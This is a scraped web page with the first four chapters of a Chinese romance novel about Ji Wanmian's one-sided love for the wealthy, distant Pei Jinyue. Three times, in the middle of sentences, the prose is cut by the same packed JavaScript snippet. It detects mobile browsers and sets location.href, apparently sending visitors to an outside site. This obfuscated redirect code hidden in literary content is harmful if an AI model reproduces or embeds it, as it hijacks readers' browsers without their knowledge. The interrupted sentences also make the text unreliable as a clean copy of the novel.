《分手后偏执大小姐后悔了》 1. 第 1 章 热。 汗滴了下来。 窗外是零下几度的寒冬，刺骨的风吹得树梢颤抖，在寂静的深夜，风声与树枝声交融的声响格外清楚。 屋内，并没有半点灯光，也没有空调制热的声响，只是她们二人，季晚眠的眼里亮闪闪，好似有隐忍的泪珠在眼眶里徘徊。 好热。 特别是两个人紧紧挨在一起的时候。 季晚眠偏过头，尽可能让自己的声音藏进这风声里，融入这漫长黑夜里。 裴今月俯下身，将自己埋在季晚眠的头发里，轻声问：“怎么了？” 季晚眠纠结了一下，只是咬着下唇，半晌才吐出一个：“热……” 她觉得自己每说出一个字，都像是在沸腾开水里冒出的泡泡。 裴今月又吻了上去，蹭掉季晚眠脸上的水珠，俯在其耳畔，问：“这是汗还是眼泪？” 季晚眠没力气回答了，她阖了阖眼，感受裴今月的唇瓣在她脸上留下的灼烧，像是有火焰在脸上不停燃烧。 好烫。 她快变成灰烬了。 “算了。”裴今月翻了个身，躺了回去，“我有些累了。” 季晚眠睁开眼，长长地呼出了一口气。 她转身，借透光窗帘的微弱光亮，窥见裴今月露出的肩膀，未被遮盖掉的肌肤白皙透亮。 季晚眠吞了吞唾沫，喉里更加干涩。 揉了揉自己掐红的腿后，季晚眠稍微坐起身，将身侧的被子往裴今月的方向拉拢了些，至少要将其露在外面的地方给遮住。 裴今月顺势揽住了季晚眠的腰，也跟着坐起身，将脸埋在身旁人的后颈。 微弱的吐气声拂动季晚眠的发丝。 也不停地撩动着她的心弦，像是无数虫子从心上爬过，酥酥麻麻的感觉穿过整个身体。 “年年……” 又是这个名字。 季晚眠紧张到咬住的下唇又悄悄松开了。 那些浑身上下奇怪的感觉，尽数消失在听到这两个字后。 好冷。 肯定是因为窗户没关严，寒风又悄悄跑了进来。 裴今月唤了几声后，慢慢地只剩下呼吸声。 大抵是睡着了吧，季晚眠维持了这个动作一会，而后缓缓转过身，确保裴今月不会掉下后，才稍微幅度大了些，接住身后的人，将其慢慢放到床上，为其盖好被子。 而季晚眠却没多少困意。 只是小心翼翼地躺在另一侧，轻轻为裴今月擦掉额头的汗珠。 不到三十厘米的距离，近到能让季晚眠看清裴今月熟睡时的面容。 真美。 美得让人窒息。 季晚眠都不知道该怎么形容初次见到裴今月的感受，只觉得光是看这位裴大小姐一眼，心跳便能漏掉半拍，连呼吸都快要彻底忘却。 若是告诉曾经的季晚眠—— 裴今月会在不久的将来躺在她的身旁，做一些能在冬天流出汗的事情。 估计季晚眠会以为自己一定是在痴人说梦。 没想到，这一切竟然真成了现实。 只是现在看来，并非是全如她所愿。 她的心多年如一日，全被裴今月占满。 可是裴今月的心里住着的，并非是季晚眠。 是一个叫“年年”的人。 从大学她们暧昧到毕业后的如今，在无数次酣畅淋漓的深夜，裴今月在累得睡意朦胧，迷迷糊糊时，只会低声地、一遍又一遍地唤出这个名字。 一开始，季晚眠以为自己只是听错了，说不定裴今月是在唤“眠眠”。 于是，在一场幻想的雀跃后，她怀着好奇心，点开了裴今月昵称—— 「年年」 所以说，季晚眠并没有听错。 就是年年，不是眠眠。 发音相似，但人不一样。 况且，都不需要季晚眠去找裴今月询问一二，因为她心里清楚，裴今月只会呼唤她的全名。 很客气、很陌生、很拉远距离的一声全名。 哪怕是在夜深人静，气氛暧昧氤氲到极致，连房间里都透着燥热时，裴今月也只会唤一声“季晚眠”。 她曾经也想要再贴近些距离，从背后环抱住裴今月的后背，像是撒娇般开口：“月月，你可以叫我……” 然而，得到的只有裴今月冷淡的回复—— “季晚眠，以后还是叫我全名。” 有时候，季晚眠也很想去质问裴今月，大声哭闹嘴里喊着“年年究竟是谁”这样的话。 可是她找不出自己能够去肆意质问的身份，没有底气的人，做什么都畏手畏脚。 就像此刻，季晚眠想要将裴今月掉下的碎发别到耳后，都觉得没有资格。 睡吧，梦里说不定裴今月就能爱她了。 第二天是季晚眠先醒的。 其实也说不上先醒，毕竟她一夜都睡得不大安稳，每每裴今月来她家里过夜，先不谈身上淤青传来的痛感，光是想起那些戳心的话，心痛就足以让她彻夜难眠。 她还幻想梦里能被裴今月爱。 实则，她连梦到裴大小姐的机会都没有。 季晚眠忍着大腿上的酸软感，小幅度地掀开被子，轻轻挪动着身子，每动一下都害怕吵醒了身旁的人。 好不容易从床上下来，刚一穿上拖鞋，她就听到了身后传来一声刚睡醒的闷哼。 季晚眠的心跟着颤了颤，一回头，发现裴今月果然醒了。 “你起这么早做什么？”裴今月翻了个身，将被子捂紧了些。 季晚眠垂下头，像个做错事的孩子，闷声说：“我只是想给你做早饭。” 裴今月大抵是没了困意，坐起身，往后撩了撩刘海，连眼睛都没有睁开，就微微皱眉说：“我不想吃早饭。” “可是你好久没来了，我就想……”季晚眠捏着自己的掌心，心里忐忑。 裴今月沉默了一会，而后也下了床，她倒也不避讳，就直接在季晚眠面前换起衣服了，边穿边说：“我只是来睡个觉的。” 季晚眠本是埋着头，可一听裴今月的话，就有些来气，谁料一抬头，刚好看见面前人光洁的后背，惊得她耳根发烫，连忙偏过头，望向别处，呢喃：“怎么也不跟我说声。” 裴今月换好衣服，见季晚眠这个样子，扬了扬眉说：“晚上又不是没见过。” 季晚眠羞得面红耳赤，支支吾吾半天说不出话。 裴今月也没管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912641|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，自顾自走到了浴室洗澡去了。 听着里面花洒落下的水声，季晚眠连连喝了好几口冷水才缓过神，勉强将自己的回忆从裴今月身上离开后，又想起那句冷冰冰的话—— “我只是来睡个觉的。” 季晚眠握着杯子，越想越气，只觉这短短一句话里的每个字都像尖刺，狠狠扎进了她的心里。 水声停了，意味着裴今月就要出来了。 季晚眠深呼吸，坐在外面的沙发上，静静地等待着裴今月。 可裴今月真正打开门，走到她面前时，所有酝酿在肚子里的话全都卡在嗓子里，怎么都说不出来。 因为裴今月实在太美了。 美得张扬夺目。 酒红色的长发半湿半干，有几根碎发松松垮垮地掉落在脸侧，勾勒出了绝佳脸型。 再看这张简直无可挑剔的脸，明明只是一个极其简单的妆容，但在她的脸上就显得格外好看，尤其是这等色号的口红，在她的唇上，倒成了加分项。 裴今月抱臂倚门问：“你要说什么？” 你要说什么。 一句话勾出了季晚眠与裴今月初次相遇的回忆。 大一那年，季晚眠走在路上，被一男同学冤枉偷了钱，那男同学情绪激动，丝毫不给季晚眠说话的机会，显然是想将事情闹大。 那是季晚眠最孤立无援的时刻，也是她与裴今月的第一次相遇。 还记得那年，裴今月也是这么走到了季晚眠的前面，还不用开口说话，光是冷着脸看了一眼那个男同学，就暂且掐断了那人的指责与谩骂。 而后，裴今月回头，望着被人围观、委屈的季晚眠，出声问：“你想说什么？” 季晚眠愣住了，跟现在一样。 过了好久，季晚眠彻底回过神后，看见裴今月脸上泛起的点点不耐烦，连忙开口说：“我想说，今天这个妆容挺适合你的，所以你真的不留下来吃早饭吗？” 她在说什么啊—— 季晚眠在心里默默擦汗，果然人一慌就容易口不择言。 算了，至少心里想说的话全都一股脑说出来了。 裴今月没有立刻给出回答，恰好包里手机传来震动，她拿起一看，脸色瞬间变得很难看。 季晚眠见状，忍不住关心问：“你怎么了？” “跟你没什么关系。”裴今月将手机放到包里，戴上围巾，穿上大衣，脸上又恢复了正常的神情，一如既往的冷漠，径直朝屋外的方向走去。 季晚眠看着裴今月的身影，抿唇，犹豫了几秒后说：“你今晚还来吗？” “再说吧。”裴今月换好鞋，头也不回地去开门，“钱的话我已经给你放在衣柜里了。” 季晚眠一怔，缓过神后恼怒地说：“谁要你钱了？你到底拿我做什么呢？” 她的确爱裴今月，爱意揉碎了骨头，渗透到血液里，连同每一次心脏震动都像是与裴今月有关。 但季晚眠也不想为此失了尊严，丢了脸面。 在不对等的关系里，她希望她的爱至少能得到裴今月的尊重。 然而，并没有。 裴今月在彻底打开门前，只留给了季晚眠一句—— “你不就是图我的钱吗？” 2. 第 2 章 关门的声音明明不算太重，但在季晚眠心里回荡了很久。 久到怎么都走不出来。 就像那段回忆，季晚眠比谁都清楚，停在过去，走不出来的只有她一个人。 因为，季晚眠后来再提起这件事时，裴今月脸上甚至还有些小吃惊，好似没有多大印象，只是说她那时候很不喜欢那个男同学，并不记得自己还帮过季晚眠。 所以，曾以为的难忘相遇。 只是她的心动，为这场相遇加了色彩。 季晚眠在沙发上瘫了好一会，连起来做点早饭吃的心情也没有了，卧室里的手机弹出的消息提示音响起时，她才勉强移了移腿，走向最不想去的卧室。 哦，只是日历提醒啊。 「距离截稿日1天」 啊，就剩一天了？！ 季晚眠绝望地躺回床上，看了眼手机时间。 快九点了。 她甚至连伤感的时间都没有，随便洗了个澡刷了个牙，就匆匆坐在书桌前赶稿了。 幸好在前几天已经熬大夜完成勾线与填色，只是需要加一些后期，配上对话内容，所以季晚眠选择暂且将裴今月忘却，全心投入到创作里。 工作是工作，爱情是…… 她与裴今月真的是爱情吗？ 季晚眠手上的动作顿了顿，刚好也埋头坐了很久，脖颈与腰都纷纷传来疼痛感，她便放下手里的键盘鼠标笔，让自己好好休息一会。 拆了一个面包，季晚眠又瘫回沙发上，吃着面包，目光扫了一圈自己的出租屋，一室一厅，不大，她一个人住着刚刚好。 但自打裴今月提出要来这找她时，季晚眠便生出了不少担心—— 裴今月会不会觉得房间太小了？ 裴今月会不会住不惯？ 裴今月会不会…… 不会。 因为裴今月压根不在意这个房间有什么，她的需求只有一个，来这过夜，偶尔还会…… 季晚眠觉得口里的面包都没了味道，尤其是想到裴今月的话后，还添了些苦涩。 她放下面包，起身活动了下筋骨，走到阳台。 十二月，南方的冬天明明见不到雪，却还是冻得让人发抖，哪怕是一直待在家里面，都有不知从哪钻进来的阵阵寒意，叫人手脚冰凉，动弹一下都觉得费力。 季晚眠冻得哆嗦了一下，转身离开阳台时，她脑子里想的是裴今月走在外面会不会冷。 今天温度比昨天还低上一些。 季晚眠想起裴今月昨晚深夜突然打来电话，她本已经入眠，可迷迷糊糊接到裴今月电话时，一下子清醒过来。 听到裴今月要来她住的地方过夜时，季晚眠激动地毫无困意，又匆匆洗了个澡，换了身漂亮点的睡衣，客厅一直亮着灯，她坐立不安，焦灼地等待裴今月的到来，连手机都没有玩。 直到见到裴今月被寒风吹得脸蛋红红时，那一秒时，在季晚眠所有情绪里，心疼先流了出来。 裴今月开门见山：“我住一夜。” 季晚眠连忙点头，连话都有些说不利索：“好，我睡沙发，你睡床，如果你……” 裴今月没继续听季晚眠讲完，而是轻轻吐出两个字：“一起。” “啊？”季晚眠一开始没听懂裴今月的话，旋即，意识到这两个字是指什么后，她瞪大双眼，吞了吞唾沫，耳根控制不住地发烫，闷声问：“你的意思是……” 裴今月淡定地回了个“嗯”字。 季晚眠心都快跳出来了，还要假装害羞地埋下头，指尖攥紧衣袖说：“这……” “能让我先进去吗？”裴今月客气又直白地问。 此话一出，季晚眠的脸彻底红完，头都不敢抬，把门打开了些，让裴今月快进屋。 裴今月没说什么，直接走了进来，熟练地换了鞋，毕竟她也不是第一次来这里了。 季晚眠羞怯怯地关上门，缓了好久才慢腾腾地回过头，一转眼，发现裴今月正坐在沙发上，埋着头看她自己的手。 季晚眠生出担心的感觉，快步走了过去，顺着裴今月的目光看下去，窥见冻得泛红的双手时，她近乎是本能地抓住裴今月的手，忧心问：“手怎么都冻红了？” “冷。”裴今月的声音低低的，但由于她们离得很近，以至于这个字直接砸在了季晚眠心上。 季晚眠将自己稍微温暖些的双手放在裴今月的手上，在担心面前，她的害羞内敛都收回去了，脱口而出：“那我给你捂捂。” 裴今月的手慢慢有了些温度。 但季晚眠的手慢慢变凉。 就像现在。 季晚眠手冷得难以弯曲，但她没有选择开空调，而是搓搓手，确保自己的手能正常进行工作就行。 就她挣的微薄工资，还是少用点好，等裴今月来再开空调就好。 季晚眠沉下心，继续完成后期工作，饿了就吃点小零食，困了就去阳台吹点寒风，实在疲倦的话，就想想裴今月的家世，这样也更有动力些。 其实，季晚眠在见到裴今月本人前，就已经听说了其响亮的名号。 同一学院的富家千金，不仅长得漂亮，还全身上下都是名牌，出手阔绰。 只是她没想到，自己后来会与众人口里如云端存在般的裴今月有如此多的纠葛。 一场不知以什么身份来纠缠的关系。 完成收尾工作后已经快晚上十点了，放下手里的东西，季晚眠伸了个懒腰，在困意来之前，饿感先传来了。 好饿。 季晚眠在屋里翻了一圈，屋里零食泡面都吃完了，这下只能下楼去买点吃的填填肚子，不然连饿得连觉都睡不着。 她裹上围巾帽子，还是怕冷，又添了件衣服才敢走出门。 寒风依然凛冽，只是来来往往的人走过街头，还有没有收摊的街边小摊添了些烟火气，季晚眠嗅到扑面而来的美食香味，倒也能够从冬天的寒冷里抽离，在闹市里感受到一丝丝热闹里的暖意。 烧烤炸串的香气实在诱人，明明隔着远远的，但光是闻一下，季晚眠就觉得这些东西已经到了嘴边，又香又辣，美味十足。 季晚眠都想闻着味飘过去了，可转念一想，她要减肥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912642|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可不能长胖了，裴今月都那么苗条，那么她也应该克制一下食欲。 于是，季晚眠从一堆香气扑鼻、噼里啪啦从油锅里炸出来、刷着辣椒油的美食里走了出来，最后在茫茫人海里寻到正准备收摊的老奶奶，买了个烤红薯吃。 老奶奶一边给季晚眠拿红薯，一边说：“这么晚才吃饭啊？” “刚下班。”季晚眠挠了挠头，虽说在家办公，但现在也确实是刚从工作的苦海里熬了出来。 “吃完早点休息啊。”老奶奶将红薯递到了季晚眠手上，关心说，“工作重要，但身体也重要啊，不要那么辛苦自己。” 季晚眠鼻尖一酸，接过红薯，拿出包里的现金递给老奶奶，回答：“谢谢。” 老奶奶笑着说：“早点回去吧，外面冷。” 季晚眠点点头，转过身往回走。 手里的红薯很暖，咬下去一口甜甜的，顺着喉咙咽下去，连同胃也开始暖和起来了。 回想老奶奶同她说的话，心里也泛出不少暖意，觉得自己在这座城市还是有人关心的。 只是，她心里那个人，却压根不会注意到她的任何情绪或变化。在她熬了很多大夜后留下的黑眼圈与疲倦的身子，那么明显，然而裴今月都能做到不闻不问。 季晚眠只能一遍遍在心里想，说不定裴今月已然有所察觉，只是没有开口说出而已。 她也只能这么安慰自己了。 走在回家的路上，季晚眠手里拿着红薯，感受一阵阵的寒风，目光里全是这座城市夜晚仍旧繁华的样子。 曾经为了裴今月而选择毕业留在这座城市生活的她，究竟值不值得呢？ 穿过喧闹的闹市，回到僻静的街道，季晚眠一人行走，难免不生出一种寂寥感，配上刺骨的寒风，更是显得凄惨了些。 然而，她自己凄凉落寞，心里的那个人却在狂欢。 裴今月举着酒杯，脸颊泛起微醺的红，与自己酒红色的头发格外相称。 在歌声沸腾的酒吧里，她一杯接一杯地喝，时不时还要跟着音乐旋律扭动一番，好不快活。 有搭讪的女人或男人走了过来，裴今月大多不理睬，但若是见到漂亮点的女人，她也会勾勾唇，眉梢跟着往上扬，漫不经心问：“一起喝一杯？” 若是对面真有胆子还能留下，裴今月倒是愿意同那人聊聊，但更往下就不行了，她虽喝了不少，但酒量极好，鲜少有人能真正喝得赢她，更别想趁机占她的便宜。 要是对面言语或行为稍微跨越边距了些，裴今月也完全不会给任何一点面子，嗤笑两声就骂了回去。 所以到现在，也没谁能好好地在裴今月旁边坐很久。 不来也行，因为这位裴大小姐现在心情算不上好，虽说脸上没有明显的烦躁，但还是不想再与任何人接触。 至于原因，则是裴今月家里面不停打来的电话，她摁掉一个又来一个，怎么都不消停。 在摁掉下一个来电后，裴今月毫不犹豫地彻底将手机关机了。 还是继续享受她的夜晚吧。 谁也不能打搅她。 3. 第 3 章 裴今月一夜未归。 季晚眠一直等，等到了天亮，等到手上的工作全都完成，等到画好最新的分镜草稿，都还没等到裴今月。 又不回来。 但，也不是第一次。 季晚眠将稿件发了出去，揉了揉太阳穴，起身关掉屋里的灯，活动了一下酸软的腰背。 还是出门丢个垃圾再回来睡会吧。 她回到卧室，打开衣柜，想要换件衣服穿，却看见放在衣服堆上面的信封。 拆开一看，里面装着够她辛辛苦苦画一个月的钱。 季晚眠笑了，是苦笑。 她默默将钱封好，与之前给的钱收在一起，安安稳稳放好，等待下次见面时，一起还给裴今月。 可下次，又会是等多久。 裴今月会不会来，什么时候来，她一概不知，只知道这人随时都可能会来，但也随时会从她面前离开。 季晚眠叹了声气，换好衣服，提上垃圾，走出门。 南方的冬天室内室外一个温度，只是外面有风，会显得更冷些。 季晚眠将下巴埋在高领毛衣里面，低着头走路，大抵是因为睡眠不够，她晕乎乎的，走两步路便有些颤。 一位路人阿姨扶住了她。 季晚眠连连低头道了好几声“谢谢”。 路人阿姨则爽朗地笑笑，挥手说：“不客气，看你样子是太累了，注意休息啊。” 季晚眠重重地点头应下。 丢完垃圾回去时，季晚眠脑海里全是路人阿姨对她说过的话，语气与字眼都跟昨晚卖烤红薯的老奶奶一样。 萍水相逢的路人，却让她注意休息。 而她心里住着的那个人，全然不在乎她的情绪。 季晚眠叹了声气，打开手机，点开通讯录，看着面前明晃晃的「今月」，却迟迟不敢拨打过去。 因为裴今月说过，她很忙，会接不到电话，如果有事情的话，她会主动给季晚眠打电话来的。 季晚眠握着手机，心想，说不定下一秒裴今月就打开电话了呢…… “啦啦啦——” 就在此时，手机铃声响了。 她心尖颤了颤，屏住呼吸，有些激动地望向手机屏幕上显示的来电。 「妈妈」 季晚眠抿唇，方才狂跳的心也稍微安稳了些，恢复正常呼吸，接通了电话。 “乖女呀，你在忙吗？看你没回我消息就给你打来了。” 妈妈季兰的声音传来时，季晚眠鼻尖猛地发酸，她没想着继续走，而是找了个附近的长凳，直接坐了上去。 勉强缓好了情绪后，她尽可能语气轻快地说：“不忙，可能是没看到消息。” “你有没有早睡早起呀？”季兰话里含笑，温和又亲近，哪怕隔着遥远的距离，手机里的声音依然含着关心，“吃饭了吗？有没有去吃点好吃的？你那边冷吗？有没有多穿点？秋衣秋裤那些穿上没？” “不冷，我穿得厚。我这么自律的人，肯定早睡早起呀。说起吃饭，我才刚吃完呢，我给你列一下我都吃了什么好吃的。”季晚眠捂着自己有点饿的肚子，在脑海里拼命回想美食的名字。 季兰应该是正在收拾东西，电话那边传来一些小响动，但仍好奇问：“吃了什么呀？” 季晚眠擦去眼角泪花，说：“最近吃得太好啦，我都快忘了每天吃的什么了，吃了小龙虾、糖醋排骨、炸串，晚上还约了朋友去吃火锅呢！” “没吃蛋糕呀？”季兰应该是放下手里的东西，声音很明显凑近了些。 季晚眠不解问：“啊？为什么要吃蛋糕？” “哎哟，乖女，今天你生日啊！”季兰扬声说，“看看今天几号了，都十一月二十九了！” 季晚眠又“啊”了好几声，滑动手机，看了一眼日历，还真是自己的生日。 她揉了揉自己的太阳穴，真是这几天忙着交稿，忙着伤感，忙着想裴今月，连自己的生日都忙忘了。 “最近这么忙啊，连自己生日都忘了？”季兰笑着打趣说，“也不知道是谁小时候最爱过生日了，我只是想给你个惊喜，结果你以为我不给你过，你生我好久的气，怎么哄都哄不好。结果长大了，自己却忘了自己的生日。” 季晚眠委屈地撇嘴，就在此刻，听着妈妈的声音，她很想很想告诉季兰，自己在这里生活的可太辛苦了，工资不算高，挣的钱就够房租水电与基本吃穿，想出去玩还要攒很久的钱。吃饭也不敢吃太贵的，连续好几天都是面包方便面过来的。 真的很苦，她想要回楠城老家了。 于是季晚眠张开口，打算下定决心说出“回家”二字时，倏地，她看到日历下方的提示—— 「月月答应我要陪我过生日的一天！」 季晚眠愣住了，脑海里浮现出裴今月曾在去年说过的那句“等你二十四岁生日我也陪你过”。 “怎么啦乖女？”季兰担心问，“怎么不说话了？” 季晚眠回应了一声“啊”表明自己还在，而后垂下头，默默看着日历上的字眼，陷入了沉默。 大抵是想通了，她长吁一口气，缓缓开口说：“哎呀也没那么忙，就是天天跟朋友出去忙，把生日都忙忘了。” 她撒谎了。 因为她的心里有期待。 “哦哦，是你之前提到过的裴同学吗？”季兰听完，也没有惊讶与质疑，“你们现在还有联系吗？我记得以前给你打电话的时候，你老提到这位同学。” 倒是季晚眠有些诧异，没想到季兰居然还记得裴今月这人，脱口而出问：“你还记得我之前说过的话呀？” 季兰笑了几声，说：“那肯定喽，你说过的话，我能不放心上？” 季晚眠笑得眼泪都快掉下来了，将手放在眼前，闷声说：“哎呀，整得这么煽情。” “这就感动啦？那可不行，万一别人三言两语就把你骗了怎么办，你一个人留在那么远的城市生活，我也不能给你把把关。”季兰的语气稍微严肃了些，“虽然不知道你想不想谈恋爱，我也不催你，但我还是要唠叨两句啊，千万别轻易相信那些花言巧语啊，千万别因为一束花就以为人家很爱你了，要是真碰到动心的，可以跟我说声，至少我也算是过来人。” 季晚眠听完季兰说的一大通话，哭笑不得地说：“好啦好啦，我知道啦，我又不是小孩了。” 季兰说：“我也只是担心你而已，怕你吃亏，怕你受委屈。” “哎呀哎呀，我哪会受委屈。”季晚眠站起身，走了两步，语速加快，假装自己很忙的样子，“不说啦，我还有点事呢。” 她实在不能再听季兰的声音了，因为她想着自己要是再感受下去季兰的关爱，很可能下一秒就决定不留在这，直接回家去找妈妈了。 季兰在电话那头，愧疚地“啊”了一声，又轻轻地叹了一口气。 季晚眠难受得说不出话来，只能默默听着季兰的话。 “我专门挑周末给你打电话的，还忙啊？打扰你了吗？下次我该先问下你再打电话的，怎么这次没想起呢？” “算了算了，不说了，你先忙啊，忙完记得去好好过个生日，跟你的小裴同学啊还有别的朋友一起出去玩，玩得开心点，钱已经转你卡上了，应该会来短信。” “还是那句话啊，受了委屈就跟妈说，实在不行咱就回家，家这边也能找到好工作的。” 说些话时，季兰特意放快语速，像是争分夺秒地一股脑说出那些“没时间”说的话。 直到通话结束，季晚眠本该松口气，但又迟迟放不下手机，将其举在耳畔良久才放下。 她很爱她的妈妈。 但又克制不了自己的一些小情绪。 好在季兰宠爱她、包容她。 这才让她有继续一个人留在这座城市的勇气。 停在上楼的电梯前，季晚眠犹豫了一下，又转过身，在小区楼下走了好几圈，从她身边走过不少步履匆匆的行人，有面熟的邻居，有从未碰面的陌生人，就是没有裴今月。 偏偏没有裴今月。 季晚眠垂眸，不再继续留在外面吹寒风，别到时候人没等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912643|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，倒是换来风寒感冒发烧流涕。 回到家，季晚眠换了鞋，穿上睡衣，想要立刻躺在床上睡觉，毕竟她熬了个通宵，困得眼睛都快睁不开了。 原想看看手机里裴今月有没有发来消息，却发现妈妈早就给自己发了很多条视频。 季晚眠逐一点开。 第一条视频开场一片漆黑，摇摇晃晃一圈才看到季兰全是笑容的脸。 “乖女！生日快乐！你……嘿，孩子她爹，你也快过来呀，跟我一起录个生日祝福的视频，女儿肯定可想我们了……” 视频里，季兰正在笑着朝另一侧招招手。 季晚眠笑了笑，发自内心觉得自己的妈妈看上去比二十多岁的自己还有活力些。 “这么幼稚的事情我才不弄呢，我到时候直接给乖女转钱……” 季兰笑容消失，眼皮垂了下来，冷冷望着对面的人。 “乖女！二十四岁生日快乐！” 季晚眠的父亲老万一下子支棱了起来，跑到了镜头里，热情地、笑呵呵地对着手机招手。 从一开始不大乐意的表情转变为非常高兴，只需要季兰的一个眼神。 “祝我们都女儿季晚眠，天天开心！幸福快乐！” 看完这夫妻俩的生日祝福视频，季晚眠笑了好久，笑得眼睛都快眯成一条缝了，连打字的手都一直在抖，费好大力才回复了一个：「那小寿星就谢谢你们哦！」 配了个可爱表情包后，她放下手机，在床上躺好，准备进入梦乡。 于是，季晚眠阖上眼。 裴今月睁开了眼。 她是被手机铃声吵醒的。 被扰了清梦的裴今月，烦躁地床上坐起，拿起床头柜上的手机，看了眼来电上的显示，心里更是来气了。 「裴言」 严格意义来说，这是裴今月的妈妈。 但她点击接通后，并没有唤出一声“妈妈”，而是冷漠地，像是与陌生人通话。 或许与陌生人还会更客气些。 裴今月随手抓了抓自己的头发，开门见山：“到底有什么事？” 裴言在电话那头回答：“前天晚上说让你来公司找我，你去哪了？” 闻言，裴今月轻嗤一声，声音嘶哑：“裴总，我现在走哪都要告诉你吗？你为什么不在我身上装一个监控呢？” 裴言并没有动怒，语气与刚刚一样：“这次学习机会对你来说很重要。” 但正是这样寻常的语气，裴今月皱了皱眉，将手机放得远些，起床理了理自己的衣服，缓缓开口：“请你分清楚什么是‘我自己觉得重要’与‘你觉得应该重要’。” 裴言避开裴今月的话，说：“你姐姐都能去。” 姐姐。 一个从裴言口里说出，就可以轻而易举让裴今月失去理智的词汇。 “那你去培养裴思澈就好了，还来打电话给我做什么！”裴今月顾不上什么稳重冷静，此刻的她，愤怒已经覆盖了所有的情绪，声音也越来越大，压都压不住，“既然我姐做什么都好，那完全不用再管我了啊，我彻夜不归家，宿醉到天亮，跟你又有什么关系呢？” 裴言语气严肃地唤了一声：“裴今月。” “裴总，你是讲效率的人，你应该知道在我这里浪费的时间，要是用在裴思澈身上，会产生更大的价值。” 说完这些话后，裴今月就按断通话，缓了好久都还生气，越想越烦，索性直接将手机关机。 要不是昨天晚上迷迷糊糊给手机开了机，就接不到这通烦人的电话了。 裴今月已经被气得毫无困意，明明自己从酒吧回到家洗完澡到现在，也就才睡了两三个小时。 她穿上鞋，走到衣柜前，想找一身出门的衣服穿。看着各种款式的精致衣服，裴今月挑选之余，脑海里却浮现了季晚眠这个人。 说实话，在回自己家之前，裴今月也不是没想过再去季晚眠家里过一夜算了。 但转念一想，还是别天天去找季晚眠了。 要是人家动了真感情可不好了。 4. 第 4 章 “裴同学，等等我！”季晚眠往前跑着，费尽全力，想要追上裴今月的脚步。 裴今月停了下来，站在两层台阶上，回过头，垂下眸子，望向身后的人，淡淡问：“季晚眠，你跟着我干什么？” “我……”季晚眠跑得上气不接下气，立在楼梯前，弯下腰，双手搭在自己的膝盖上，气喘吁吁，半晌说不出话来。 裴今月等了季晚眠两秒，没等到回复后，说了句“那我走了”后，就转过身，继续往上走。 不知怎么的，季晚眠突然眼疾手快地抓住裴今月的胳膊，脱口而出：“我是来跟你说——我喜欢你！” 季晚眠的心脏快要跳出来了。 她焦灼地等待裴今月的回复，可视线越来越模糊，面前的裴今月明明离她很近，却又像是隔了很远的距离，远到看不清面容。 “裴今月——” 季晚眠急得原地打转，长长地唤了一声心里人的名字。 正是这声呼唤，她硬生生将自己吓醒了。 睁开眼后的季晚眠都坐起身了，还是久久不能缓过来，一直都在回忆那场清醒前的梦境。 她像是被困在那天很久了。 稍微缓好一点情绪后，季晚眠将自己从梦境里抽离出来，到处翻找自己丢在床边的手机。 她找得很紧张，生怕因为自己睡得太熟而错过了裴今月打来的电话。 终于找到了手机，季晚眠吞了吞唾沫，颤手点开。 有妈妈、爸爸、朋友和同学的祝福。 没有裴今月的。 季晚眠也不知该失望还是松一口气，逐一回复完感谢后，她盯着手机，很清楚自己的内心大概还是有些失望。 寒风又顺着窗沿溜了进来。 季晚眠放下手机，捂着被子，将自己蜷缩成小小的一团取暖。 她望向窗外，雾蒙蒙的一片。 像是又回到了梦里的那天。 那是季晚眠最难以忘怀的一天。 因为她确实是在那一刻倾诉了自己对裴今月的爱意。 理智已经控制不了她的爱意了。 从狼狈时的她见到闪闪发光的裴今月时，她的心里就被埋下了一颗种子，每个辗转反侧的深夜，脑海里不断浮现的画面，都是因为这颗种子在不断发芽。 在那之后，季晚眠成为了裴今月的小跟班，她一边为自己似乎与常人不同的感情而觉得害羞，一边又克制不住想要见裴今月一眼的心。 此前室友得知她这些事后，常常打趣季晚眠，说：“人家帮你一次，感觉你都要以身相许来感谢人家了。” 一开始的季晚眠也以为只是简简单单的感激而已，但一次次靠近裴今月后，她慢慢意识到—— 不对，不是这样的。 单纯的感激是不会一见面就心跳加速，面红耳赤，连说个话都支支吾吾。 最主要的是，季晚眠压根不敢对上裴今月的眼睛。因为她总觉得对视的一刹那，自己脑子里那些乱七八糟的念头就全都被裴今月看穿了。 在很多次无意间撞见裴今月后，季晚眠漏掉半拍的心跳，都像是在告诉她—— 她对裴今月的感情完全不是普通同学或朋友间的情谊。 难道这种感觉就是喜欢吗？是爱吗？ 